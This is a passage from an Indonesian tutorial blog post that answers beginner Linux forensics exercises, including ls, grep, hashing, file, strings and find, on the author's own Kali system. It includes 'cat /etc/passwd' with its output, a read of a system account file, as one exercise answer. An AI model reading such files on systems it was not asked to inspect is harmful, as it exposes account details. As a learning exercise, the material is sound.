<strong><em>.nama_file</em></strong>), <em>current directory</em> (.) dan <em>parent directory </em>(..)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*o7wALcnQyFGBr2747rRoOA.png" /></figure><h4><strong>ls -l</strong></h4><p><strong>ls -l </strong>adalah perintah yang menampilkan isi direktori saat ini dengan lebih detail. Opsi -ldapat menampilkan nama file serta subdirektori dengan izin file, jumlah tautan, pemilik file, grup, ukuran, dan waktu modifikasi. Penggunaan opsi -l memungkinkan kita melihat lebih banyak informasi terhadap data yang dimiliki seorang user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*94hX-n4gXvBRl3oVF-nHmA.png" /></figure><h4><strong>ls - -help</strong></h4><p>Jika kita kesulitan atau belum memahami penggunaan perintah <strong>ls</strong>, gunakan --<strong>help</strong> untuk melihat panduan mengenai perintah <strong>ls</strong></p><pre># ls --help<br>Usage: ls [OPTION]... [FILE]...<br>List information about the FILEs (the current directory by default).<br>Sort entries alphabetically if none of -cftuvSUX nor --sort is specified.<br><br>Mandatory arguments to long options are mandatory for short options too.<br>  -a, --all                  do not ignore entries starting with .<br>  -A, --almost-all           do not list implied . and ..<br>      --author               with -l, print the author of each file<br>  -b, --escape               print C-style escapes for nongraphic characters<br>      --block-size=SIZE      with -l, scale sizes by SIZE when printing them;<br>                             e.g., &#39;--block-size=M&#39;; see SIZE format below<br><br>  -B, --ignore-backups       do not list implied entries ending with ~<br>  -c                         with -lt: sort by, and show, ctime (time of last<br>                             change of file status information);<br>                             with -l: show ctime and sort by name;<br>                             otherwise: sort by ctime, newest first<br><br>  -C                         list entries by columns<br>      --color[=WHEN]         color the output WHEN; more info below<br>  -d, --directory            list directories themselves, not their contents<br>  -D, --dired                generate output designed for Emacs&#39; dired mode<br>  -f                         do not sort, enable -aU, disable -ls --color<br>  -F, --classify[=WHEN]      append indicator (one of */=&gt;@|) to entries WHEN<br>      --file-type            likewise, except do not append &#39;*&#39;<br>      --format=WORD          across -x, commas -m, horizontal -x, long -l,<br>                             single-column -1, verbose -l, vertical -C<br><br>      --full-time            like -l --time-style=full-iso<br>  -g                         like -l, but do not list owner<br>      --group-directories-first<br>                             group directories before files;<br>                             can be augmented with a --sort option, but any<br>                             use of --sort=none (-U) disables grouping<br><br>  -G, --no-group             in a long listing, don&#39;t print group names<br>  -h, --human-readable       with -l and -s, print sizes like 1K 234M 2G etc.<br>      --si                   likewise, but use powers of 1000 not 1024<br>  -H, --dereference-command-line<br>                             follow symbolic links listed on the command line<br>      --dereference-command-line-symlink-to-dir<br>                             follow each command line symbolic link<br>                             that points to a directory<br><br>      --hide=PATTERN         do not list implied entries matching shell PATTERN<br>                             (overridden by -a or -A)<br><br>      --hyperlink[=WHEN]     hyperlink file names WHEN<br>      --indicator-style=WORD<br>                             append indicator with style WORD to entry names:<br>                             none (default), slash (-p),<br>                             file-type (--file-type), classify (-F)<br><br>  -i, --inode                print the index number of each file<br>  -I, --ignore=PATTERN       do not list implied entries matching shell PATTERN<br>  -k, --kibibytes            default to 1024-byte blocks for file system usage;<br>                             used only with -s and per directory totals<br><br>  -l                         use a long listing format<br>  -L, --dereference          when showing file information for a symbolic<br>                             link, show information for the file the link<br>                             references rather than for the link itself<br><br>  -m                         fill width with a comma separated list of entries<br>  -n, --numeric-uid-gid      like -l, but list numeric user and group IDs<br>  -N, --literal              print entry names without quoting<br>  -o                         like -l, but do not list group information<br>  -p, --indicator-style=slash<br>                             append / indicator to directories<br>  -q, --hide-control-chars   print ? instead of nongraphic characters<br>      --show-control-chars   show nongraphic characters as-is (the default,<br>                             unless program is &#39;ls&#39; and output is a terminal)<br><br>  -Q, --quote-name           enclose entry names in double quotes<br>      --quoting-style=WORD   use quoting style WORD for entry names:<br>                             literal, locale, shell, shell-always,<br>                             shell-escape, shell-escape-always, c, escape<br>                             (overrides QUOTING_STYLE environment variable)<br><br>  -r, --reverse              reverse order while sorting<br>  -R, --recursive            list subdirectories recursively<br>  -s, --size                 print the allocated size of each file, in blocks<br>  -S                         sort by file size, largest first<br>      --sort=WORD            sort by WORD instead of name: none (-U), size (-S),<br>                             time (-t), version (-v), extension (-X), width<br><br>      --time=WORD            select which timestamp used to display or sort;<br>                               access time (-u): atime, access, use;<br>                               metadata change time (-c): ctime, status;<br>                               modified time (default): mtime, modification;<br>                               birth time: birth, creation;<br>                             with -l, WORD determines which time to show;<br>                             with --sort=time, sort by WORD (newest first)<br><br>      --time-style=TIME_STYLE<br>                             time/date format with -l; see TIME_STYLE below<br>  -t                         sort by time, newest first; see --time<br>  -T, --tabsize=COLS         assume tab stops at each COLS instead of 8<br>  -u                         with -lt: sort by, and show, access time;<br>                             with -l: show access time and sort by name;<br>                             otherwise: sort by access time, newest first<br><br>  -U                         do not sort; list entries in directory order<br>  -v                         natural sort of (version) numbers within text<br>  -w, --width=COLS           set output width to COLS.  0 means no limit<br>  -x                         list entries by lines instead of by columns<br>  -X                         sort alphabetically by entry extension<br>  -Z, --context              print any security context of each file<br>      --zero                 end each output line with NUL, not newline<br>  -1                         list one file per line<br>      --help        display this help and exit<br>      --version     output version information and exit<br><br>The SIZE argument is an integer and optional unit (example: 10K is 10*1024).<br>Units are K,M,G,T,P,E,Z,Y,R,Q (powers of 1024) or KB,MB,... (powers of 1000).<br>Binary prefixes can be used, too: KiB=K, MiB=M, and so on.</pre><h4>2. What command can we use to read the contents of the file /etc/passwd?</h4><p>Kita bisa gunakan perintah berikut:</p><pre>┌──(root㉿kali)-[/home/aqilah]<br>└─# cat /etc/passwd                              <br>root:x:0:0:root:/root:/usr/bin/zsh<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br>_apt:x:42:65534::/nonexistent:/usr/sbin/nologin</pre><p>Perintah <strong>cat (concatenate) </strong>berfungsi untuk membaca dan menampilkan isi file ke terminal. Selain itu <strong>cat </strong>juga bisa digunakan untuk menggabungkan beberapa file</p><h4>Alternative:</h4><p><strong>less </strong>adalah salah satu perintah di Linux yang dapat menampilkan isi dari sebuah file dengan format per halaman atau per baris.</p><h4><strong>3. If we wanted to search for the string Error in all files in the /var/log directory, what would our command be?</strong></h4><p>Command yang digunakan adalah <strong>grep -rIw /var/log -e “Error”. </strong>Berikut penjelasan detailnya:</p><ul><li><strong>grep: </strong>Perintah ini digunakan untuk mencari teks tertentu di dalam file. Dalam konteks ini, grep akan memeriksa isi file untuk menemukan baris yang mengandung teks yang kita cari.</li><li><strong>-r (recursive): </strong>Opsi ini membuat grep melakukan pencarian secara menyeluruh ke seluruh subdirektori. Artinya, tidak hanya file yang ada langsung di /var/log, tetapi juga file log yang berada di dalam folder-folder di bawahnya.</li><li><strong>-I (ignore binary files): </strong>Opsi -I digunakan untuk mengabaikan file biner. Dengan opsi ini, grep hanya akan memproses file teks dan tidak menampilkan pesan seperti <em>“Binary file matches”</em>. Ini sangat berguna saat mencari di direktori log agar hasil lebih bersih dan relevan.</li><li><strong>-w (word match): </strong>Opsi -w memastikan bahwa yang dicari adalah kata “Error” secara utuh, bukan bagian dari kata lain. Jadi Error akan cocok, tetapi Errors atau ErrorLog tidak akan ikut terdeteksi.</li><li><strong>/var/log</strong>:<strong> </strong>Ini adalah direktori yang menjadi target pencarian. Direktori /var/log berisi berbagai file log sistem, seperti log kernel, service, dan aplikasi yang berjalan di Linux.</li><li><strong>-e “Error”</strong>:<strong> </strong>Bagian ini menentukan pola atau teks yang ingin dicari. Dalam perintah ini, grep akan mencari semua baris yang mengandung kata <strong>Error</strong> di dalam file log.</li></ul><pre>┌──(root㉿kali)-[/home/aqilah]<br>└─# grep -rIw /var/log -e &quot;Error&quot; <br>/var/log/installer/hardware-summary:/proc/interrupts: DFR: 0 Deferred Error APIC interrupts<br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error d&#39;instal·lació del sistema base <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment de l&#39;installacion del sistèma de basa /var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagluklok ng base system <br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error d&#39;instal·lació del sistema base<br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment de l&#39;installacion del sistèma de basa /var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagluklok ng base system <br>/var/log/installer/cdebconf/templates.dat:Description: Debootstrap Error /var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de Debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description: Debootstrap Error<br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de Debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error ng debootstrap /var/log/installer/cdebconf/templates.dat:Description: Debootstrap Error /var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de Debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error ng debootstrap /var/log/installer/cdebconf/templates.dat:Description: Debootstrap Error /var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de Debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error ng debootstrap /var/log/installer/cdebconf/templates.dat:Description: Debootstrap Error /var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de Debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error ng debootstrap /var/log/installer/cdebconf/templates.dat:Description: Debootstrap Error /var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de Debootstrap<br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error ng debootstrap /var/log/installer/cdebconf/templates.dat:Description: Debootstrap Error /var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de Debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error ng debootstrap /var/log/installer/cdebconf/templates.dat:Description: Debootstrap Error /var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de Debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de debootstrap <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error ng debootstrap /var/log/installer/cdebconf/templates.dat:Description: Error reading Release file /var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment de legir lo fichièr Release<br>/var/log/installer/cdebconf/templates.dat:Extended_description-id.UTF-8: Error dikembalikan saat mencari partisi kernel ChromeOS.\n\nPeriksa /var/log/syslog atau lihat konsol maya no. 4. <br>/var/log/installer/cdebconf/templates.dat:Description-es.UTF-8: Error al montar ${PATH} <br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error en la introducció de la contrasenya <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de picada del senhal <br>/var/log/installer/cdebconf/templates.dat:Description: Error while running &#39;${CMD_LINE_PARAM}&#39; <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment d’executar « ${CMD_LINE_PARAM} » /var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error habang pinapatakbo ang &#39;${CMD_LINE_PARAM}&#39; /var/log/installer/cdebconf/templates.dat:Description: Error /var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error /var/log/installer/cdebconf/templates.dat:Description-es.UTF-8: Error /var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error /var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error /var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error imprevista al moment de la creacion del grop de volums /var/log/installer/cdebconf/templates.dat:Description: Error while setting up RAID /var/log/installer/cdebconf/templates.dat:Description-ast.UTF-8: Error mientres s&#39;afitaba RAID <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment de configurar lo RAID <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagsasaayos ng RAID <br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error en la configuració del xifrat <br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error en la introducció de la contrasenya <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de picada del senhal <br>/var/log/installer/cdebconf/templates.dat:Description-es.UTF-8: Error de entrada del PSID OPAL <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de picada de la frasa secrèta <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagpasok ng passphrase <br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error en la configuració d&#39;LVM <br>/var/log/installer/cdebconf/templates.dat:Description: Error while creating a new logical volume <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error pendent la creacion del volum logic novèl /var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagbuo ng bagong logical volume <br>/var/log/installer/cdebconf/templates.dat:Description: Error while creating a new logical volume <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error pendent la creacion del volum logic novèl /var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagbuo ng bagong logical volume <br>/var/log/installer/cdebconf/templates.dat:Description: Error while deleting the logical volume <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment de suprimir lo volum logic <br>/var/log/installer/cdebconf/templates.dat:Description: Error while initializing physical volume <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment de l&#39;inicializacion del volum fisic <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa paghanda ng pisikal na volume <br>/var/log/installer/cdebconf/templates.dat:Description: Error while creating volume group <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment de crear lo grop de volums <br>/var/log/installer/cdebconf/templates.dat:Description: Error while deleting volume group <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error al moment de suprimir lo grop de volums <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagtanggal ng volume group <br>/var/log/installer/cdebconf/templates.dat:Description: Error while extending volume group <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error pendent l&#39;espandiment del grop de volums <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagpalaki ng volume group <br>/var/log/installer/cdebconf/templates.dat:Description: Error while reducing volume group <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error pendent la reduccion del grop de volums <br>/var/log/installer/cdebconf/templates.dat:Description-tl.UTF-8: Error sa pagliit ng volume group <br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error a la configuració del RAID <br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error de les sumes de comprovació <br>/var/log/installer/cdebconf/templates.dat:Description-es.UTF-8: Error de suma de comprobación <br>/var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de soma de contraròtle <br>/var/log/installer/cdebconf/templates.dat:Description-ca.UTF-8: Error en la introducció de la contrasenya /<br>var/log/installer/cdebconf/templates.dat:Description-oc.UTF-8: Error de picada del senhal</pre><h4><strong>4. What would be the commands to calculate MD5 and SHA1 hashes of the file /etc/passwd?</strong></h4><p>Perintah <strong>md5sum </strong>dan<strong> </strong><strong>sha1sum </strong>dapat digunakan untuk menghitung dan menampilkan nilai hash dari sebuah file. Nilai hash berguna dalam memastikan data atau file tidak dimanipulasi atau rusak, jika terdapat modifikasi pada data tersebut maka nilai hash nya akan berubah.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*T2axBhZsftk1Ez9XKhm2Dw.png" /><figcaption>md5 and sha1 output for /etc/passwd</figcaption></figure><h4>Example:</h4><p>Pada kasus ini di lakukan pengecekan pada sebuah file .txt menggunakan perintah <strong>md5</strong>. File tersebut di edit lagi dan di cek ulang menggunakan perintah yang sama, hasilnya nilai hash berubah dari semula karena perubahan data pada file tersebut mempengaruhi setiap bit data yang ada.</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads] <br>└─# md5sum output_red.txt<br>ad1bb5696d5fe7523c1356496e02a28b output_red.txt <br><br>┌──(root㉿kali)-[/home/aqilah/Downloads] <br>└─# cat output_red.txt<br>laknf <br><br>┌──(root㉿kali)-[/home/aqilah/Downloads] <br>└─# nano output_red.txt<br><br>┌──(root㉿kali)-[/home/aqilah/Downloads] <br>└─# cat output_red.txt <br>laknf tambah teks baru uhuy <br><br>┌──(root㉿kali)-[/home/aqilah/Downloads] <br>└─# md5sum output_red.txt<br>306bd0acd714ae2433f2b8645a59c54e output_red.txt</pre><h4><strong>5. Use the file command to determine the type of the file /usr/bin/cat and explain the output in 2–3 sentences.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ztFYmVJ-T1_MH-UOlWoFNA.png" /></figure><p>File /usr/bin merupakan <em>executable file</em><strong> </strong>dengan format ELF 64-bit LSB pie executable untuk menyimpan seluruh program perintah yang dapat digunakan user, salah satunya adalah<strong>cat </strong>yang berfungsi untuk membaca dan menampilkan isi file ke terminal.</p><p>Program ini terhubung secara dinamis dengan library sistem melalui interpreter /lib64/ld-linux-x86-64.so.2dan kompatibel dengan GNU/Linux kernel 3.2.0 ke atas. Binary ini telah di-<em>strip</em>, artinya simbol <em>debugging </em>dihapus sehingga ukuran file lebih kecil dan analisis statis menjadi lebih sulit.</p><h4><strong>6. What command can we use to display all printable strings of length ≥ 8 in the file /bin/bash?</strong></h4><p>Perintah <strong>strings -n 8 /bin/bash</strong> digunakan untuk mengekstrak dan menampilkan seluruh string yang dapat dicetak dari file biner /bin/bash, dengan ketentuan bahwa string yang ditampilkan memiliki panjang minimal delapan karakter (ditandai dengan opsi <strong>-n 8</strong>).</p><pre>┌──(root㉿kali)-[/home/aqilah]<br>└─# strings -n 8 /bin/bash <br>,/lib64/ld-linux-x86-64.so.2<br>e&quot;)T8C8<br>H%MG&gt;O}F<br>X t\5MS<br>_ITM_deregisterTMCloneTable<br>gmon_start<br>_ITM_registerTMCloneTable<br>tgetflag<br>nl_langinfo<br>gethostname<br>tcsetpgrp<br>setgrent<br>strcasestr<br>libc_current_sigrtmin<br>iconv_open<br>getpeername<br>pathconf<br>getgrent<br>group_member<br>getdtablesize<br>strcpy_chk<br>dcgettext<br>ctype_toupper_loc<br>stack_chk_fail<br>printf_chk<br>getrlimit<br>setrlimit<br>iswlower<br>fdelt_chk<br>fpurge<br>sigaddset<br>setpwent<br>iconv_close<br>mbrlen<br>freeaddrinfo<br>getaddrinfo<br>__isoc23_strtoimax<br>sigismember<br>sigaction</pre><h4><strong>7. Given the following output of the file command, can you determine what’s wrong with this file?</strong></h4><pre>$ file image.jpg<br>image.jpg: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3ab23bf566f9a955769e5096dd98093eca750431, for GNU/Linux 3.2.0, not stripped</pre><p>Dari output diatas, file <strong>image.jpg </strong>tersebut menunjukkan tipe file yang berbeda dari .jpg pada umumnya yaitu ELF 64-bit LSB pie executable<strong>. </strong>ELF (<em>Executable and Linkable File</em>) adalah format file standar di Linux untuk menyimpan biner yang dapat dieksekusi, pustaka bersama (<em>shared libraries</em>), kode objek, dan <em>core dump.</em></p><p>Pada file gambar seperti .jpeg atau .png, format yang disimpan dalam file tersebut adalah JPEG image data</p><pre>┌──(root㉿kali)-[/home/aqilah]<br>└─# file jotaro\ all\ star\ battle.jpeg <br>jotaro all star battle.jpeg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 259x194, components 3</pre><p>atau PNG image data</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads]<br>└─# file red.png<br>red.png: PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced</pre><h4><strong>8. If we wanted to look for files modified in the last 30 minutes in /home directory, what command would we want to use?</strong></h4><p>Perintah <strong>find . -mmin -30</strong> akan menampilkan semua file pada direktori /home<strong> </strong>yang telah dimodifikasi dalam waktu kurang dari 30 menit lalu, artinya file yang dimodifikasi sebelum 30 menit akan ditampilkan.</p><pre>┌──(root㉿kali)-[/home]<br>└─# nano test.txt      <br>                                                                                                                                   <br>┌──(root㉿kali)-[/home]<br>└─# find . -mmin -30<br>.<br>./test.txt<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/index-dir<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/index-dir/the-real-index<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/6b4b808c73a8dbb2_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/4cacbe29e41d5f50_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/12ed6e0c7d56a241_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/6514f6b4f7e8319f_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/61aae6fe50a83c52_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/d00187fdcaf5c4b4_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/7ca67780d743d7a5_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/e7242befc9e51592_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/6530ecbf190a56d6_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/9603dc46f5c1acb8_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/12d5ff88ce75ed9e_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/7d47f9112d3b7f51_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/15145040f7f12f31_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/93d81321f8c35eab_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/bf32065a4b6002a4_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/646d329cbfc8c6d4_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/f8d0d7f263e3e2d4_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/b025b9c062071d58_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/cf7f731b2a0bbaf1_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/158c1bcedf6c13c7_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/1118fc55139847c5_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/317262c8b75b6cfa_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/4d5d3df6c1b463d2_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/abcf5a20553dff6e_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/0505a213346d2e16_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/e33e900319580e3b_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/9f2a76b8dd54f16a_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/342e2ed1134f10c9_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/f35033296261edee_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/a73c6e9cff5a4cc7_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/39dbf5cf04c3faee_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/9c720821a3516195_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/1fa552d9951eb388_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/8af4050732e52117_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/fa4acfe5013a9e40_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/705aec13e2784d7a_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/a0577644aebab3e4_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/bbd521f24ba0dbd6_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/5e0c762448844e69_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/c70b11e56f993ef6_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/32dc543ef50d8a15_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/d95c0ad1ffabeab1_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/886e8a937c4bad66_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/6fbbd24f85dc046b_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/1cd4dc430d1c9036_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/d1842d895b1610e5_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/9889b9333c2c02c2_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/69ff48b45e3ee540_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/61e4da731bbb4689_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/5f0e3f625c8613dc_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/48a2002b6c71a450_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/2a34a71cf65a4381_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/36ec0d756ac567d1_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/2cb613a1960db9c4_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/97e79991b812dd15_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/f4834c43f84b7705_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/e8fdb942bad2f622_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/8bdf1fe517efa3f1_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/4ff10d983f1497e1_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/efd77fe68b80b713_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/8641041fcd85ed24_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/60c34532d6d159d3_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/0ed364bcf717b0ca_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/3f1fd480a1d33cb9_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/a5e826c31a393ecd_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/d990c322ae2e2928_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/13b7b9037c040caa_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/6d9573cc78193689_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/6c33fe0405cd2ec9_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/6747729ffece5ff7_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/5d3b352c5db34656_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/7c1a90b6d0ac155c_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/cc472a90f78664b1_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/82621503b9a4248a_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/0c6ee7a91d3636c4_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/67ba3463ed593e1f_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/305c2c0aae63705a_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/9ad055cf5a417856_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/433be3910da7ff4c_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/e0af9117ef728236_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/21c4e7ce64e31c0b_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/ccc7148b6a5e596e_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/015d885c1cd7bd48_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/f9e3b21ed083d